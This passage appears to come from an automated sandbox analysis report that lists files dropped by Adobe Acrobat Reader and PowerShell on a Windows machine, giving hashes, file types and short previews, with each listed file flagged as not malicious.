Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666970199139866
Encrypted:	false
SSDEEP:	24:Yv6XsThamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq:Yv3BgkDMUJUAh8cvMq
MD5:	D2F7088F8D1C7BFD89D0DD7FDF88C7D8
SHA1:	2F292D163CF8060B58A8A24A69E9959D39E5352B
SHA-256:	A5461B933924CB806F7686B72BA0D7CD4BDA5CE0B69BF54DE84FCAFA7F8F0A15
SHA-512:	7C0BD18D49FBA94567991BEBC6F56457FEDEBE665FF0FDCDFFBB11D4DAD88274E8BB7DE555CD0B6B16FCE5097FC072C997DD408492C6A40D45B9B3ED2B95F6E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272207926097433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJfshHHrPeUkwRe9:YvXKXsucvsGUUUkee9
MD5:	927D2D75C2395C66E9C68A41BDA3ECB4
SHA1:	9179258C81CFDF303D341B0A934444D376570954
SHA-256:	F83AC381DE8B96E6510249EE318D784B450F5FE40F997A3BBCBB3F0075DAFD24
SHA-512:	02EE4C86D804F89EB880D7CAB444F9B2A0674639B99ED931244D61F59DAD4CEA1FDEA9C01FD76FA09CF8C77C6D87B83F0CCEE43E25FCBA32EFEDB283FCBDC142
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.285061364805315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXYXU3QcklNAnZiQ0YQJDoAvJTqgFCrPeUkwRe9:YvXKXsucvsGTq16Ukee9
MD5:	182BFE05FA359E2D918F0EEAA2A97AC1
SHA1:	04FCD363413CA3B436E9AE92F4C17366024693CD
SHA-256:	D780126CA03D658458B7611F4B1577B9D0C93FC0A799EEE93A0F25411E6819B2
SHA-512:	02766E60332266405A7AA4E7A84BDF7A5DD8143DF20CB5BC1A666C2A5E0DB6E20DC38817BDA9FA75B14EDA2A9C9E0B9AC37F92AB4D7A0252FAF4D9C01E6414F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd0e81b9-3311-4ac9-b73f-565f9d39df48","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736733486742,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135265943888639
Encrypted:	false
SSDEEP:	48:Y52nVcf7UNybBR4cpinbZQxrq/0xjy95U:WoVcANyVBpibZ4U5U
MD5:	FBF7CBED7143491C74E77EBC17B0CFD7
SHA1:	D4318CDB226366496402D181F337E9427962F087
SHA-256:	9EF64AAFBA6E177274637FFD45F5928D1EB21F9DE5749DCC5A220BB853918F7F
SHA-512:	8EE9A05B6C9555CE763B0736E3B52FBEE9F59164B5DB016E1B823347CEEF6E87461D4C6D63AF2470BEE2C2E7B2C680EA3C0C1BE2C2612EEF0F23848F6CC86920
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"30fac6e2b6302f3b18dd083996a517d9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558646000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0f016d2b2535729714121edbccc77d4e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558646000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ced7fded25275597ba11a5d74665628d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558646000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"474d86ed29d36e9638574ea2642daf30","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558646000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ba5e8642c269915b50152a4de6f530c1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558646000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"69549eb825d818adc237e6013e724f22","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464145988219847
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs1Q+SRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuS:TFl2GL7ms1UXc+XcGNFlRYIX2v3kOa
MD5:	A4B2D3E983E55C89109821FA227C4DEB
SHA1:	D5162C94E797F5571846F04D907032CF5BDA3238
SHA-256:	3F9E4149F4AE6AEFD9ECA9B6887ED69190BB81B48AADA376C706C2F235747A1D
SHA-512:	B6A9F45F4F4E14898A2A564524344B7D52D5B859CD4982F65F04B3AB6745FA7A1C803A67CBDBC2A90B951895CA98D6A8927475E966D4B886971802D187DE6B0F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.549055537151831
Encrypted:	false
SSDEEP:	24:7+tZJQ+SUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxTgqLxxy:7MDjXc+XcGNFlRYIX2vNqVl2GL7ms0
MD5:	EFC6FB88A66C7C767EED1524F13FEFA4
SHA1:	502F7FC7A94F45981390CCF718A96CE259EF8F4A
SHA-256:	4F84DB1B5809BEB44582A37C226E837CBBEF2AE5732D640C61FFD3C9DACFA23D
SHA-512:	F621BB4F82B576BB7DAF558219F0F8CA1C7DEF6BC11741AA3A87384F8BEE229E482AA7DFAC7D24B4552C02D08A0220716FC956D17860DCFEAFAB339BAC6BEB0F
Malicious:	false
Preview:	.... .c......el...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgDdrTBS5weBXfWUi/IA7i6B4mbd7Yyu:6a6TZ44ADEprTY7XfiIh64C7K
MD5:	2E4BAF849B154A23D2456725BCB5819C
SHA1:	7F2D9CD1E39ACB85FFE56F7EB0A3BD4C493C4475
SHA-256:	22E66F85E525C1B08DD24F1467EAD4CA7D9B828E5885ABB8E66FBB34C3193EF4
SHA-512:	1C165173A1008B4D2234E0359BFB811332260FBF11DD6D0DDA4BFDA2A2A238E3E995ECBEFC1BE8FBD8EE312136C82AEB8F2EF4BD7D55F04927D0E2BBA398675D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulhhf/z:NllU
MD5:	B283C769D040651AA26FFE7F1296E297
SHA1:	F4B1D91D58C72B439EA4CA55A3E75F5F53A117E5
SHA-256:	97677EADF7A2FB6F27A32BAA73C5471A5BA31702A36509AB9FEB478448B2D837
SHA-512:	9114535C2EA58850D30DFA7552F420FBAB32FBFD999B0CAC0B8CB050F27EF65FE5BC3749E78B35A2C489561571B5452182197A51DC2B82ADC6DD70D94BEA03D7
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI144d3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClUf9:Qw946cPbiOxDlbYnuRK+bb
MD5:	E3B869153B4B1CA88F81756497C9FB18
SHA1:	7DE2A3710F43B8E1D0E3FAE8B8D12745FA533E9A
SHA-256:	83C2CFDB0BD67D20085125AF0ED998C3C3DE509AC4CE0F1E80E7FDA38F5422AB
SHA-512:	E83AD23922F367CBDF0B8241206A08ABCF45F49614C0A2AEEC130BB96C107B22672153617CA1D782DE5CC7C79C112F13B3D086F9A3F5848E7A08DB0688489509
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.2.4.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qpw5oq3o.3zu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmajh4ea.ovp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-23-59-377.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344938641892104
Encrypted:	false
SSDEEP:	384:TKykokHkQkGkBkruk5kgkqkpk7V+2n2Dn5nFFoF8FjFeFvgZKdZZKPZKE6G626IY:T1rmjfSGu2tNYO4eU5Fim50iZmZZuZ/g
MD5:	8E8AA6BCC49476133197234613AEB232
SHA1:	352CC2C5AB3B250B2AD1DCB22FCC24E320C168CA
SHA-256:	8A5B899F609304B62EE0BEBED98E54B2C95AD9A8DB6C8A341707D1D4880CAE05
SHA-512:	ED38845A9941F328301EEB44BDBAC662760661F4D6473162B8E9B5E436F26889EB6C61DB31038E351E1B145495C5EBE0DE44D3AEA04DBA622565BDECEB128EC8
Malicious:	false
Preview:	SessionID=d4fec032-e894-4b49-84e4-4f63d42baeb5.1736558639424 Timestamp=2025-01-10T20:23:59:424-0500 ThreadID=7180 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d4fec032-e894-4b49-84e4-4f63d42baeb5.1736558639424 Timestamp=2025-01-10T20:23:59:426-0500 ThreadID=7180 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d4fec032-e894-4b49-84e4-4f63d42baeb5.1736558639424 Timestamp=2025-01-10T20:23:59:426-0500 ThreadID=7180 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d4fec032-e894-4b49-84e4-4f63d42baeb5.1736558639424 Timestamp=2025-01-10T20:23:59:426-0500 ThreadID=7180 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d4fec032-e894-4b49-84e4-4f63d42baeb5.1736558639424 Timestamp=2025-01-10T20:23:59:426-0500 ThreadID=7180 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397897445886779
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbGAcbmIaqcbK6:V3fOCIdJDeM9a66
MD5:	52E5481504587BE1AE81111A3AD7485B
SHA1:	369D5EFC4C99E0D73F3179F84B2F14D07F153734
SHA-256:	DFE3BFFED32F38CD2C82ADB07926BED222729A9FEEFD41DF872D3F451C664A0D
SHA-512:	70E9774F1811D40DB06BD7E14DBA85F475C423EF7733F359BEDCD18BAA18E25E56616BE7BF35B3451E77CC98E825BD828EC8E501FE5B3DB25E510D7AE09E1117
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01190447-544c-45e9-871f-148a0906f1c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\05cb385f-cbf3-481b-9807-b0b40c8d8012.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bd8463a1-dffb-4e6d-80d7-8dc7ff7aee22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6ZSWBlkipdjum21D1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3PjegfZS8lkipdj321DMNB1DofjgJJg
MD5:	F0D0ECAE1E5D07A2F3D08371DFED8CDF
SHA1:	05A0C4389DE443C2AB77F78D0D2B552260B84003
SHA-256:	CFA56E7EB28AF60F9CFFD8C53522932411CEDF776A809F8362614DAF61A568F9
SHA-512:	14E6138FE9FE3F22117BCCF8216DE03BC8539A413B81A691496A3C621CB6AD80746E86D6FCD75B2BE0FB70A14807CBBFBC70A2A6B5B2E2F4218C3A52A1F73D9F
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e87bd69e-f970-4b19-927e-a9eef6696fed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
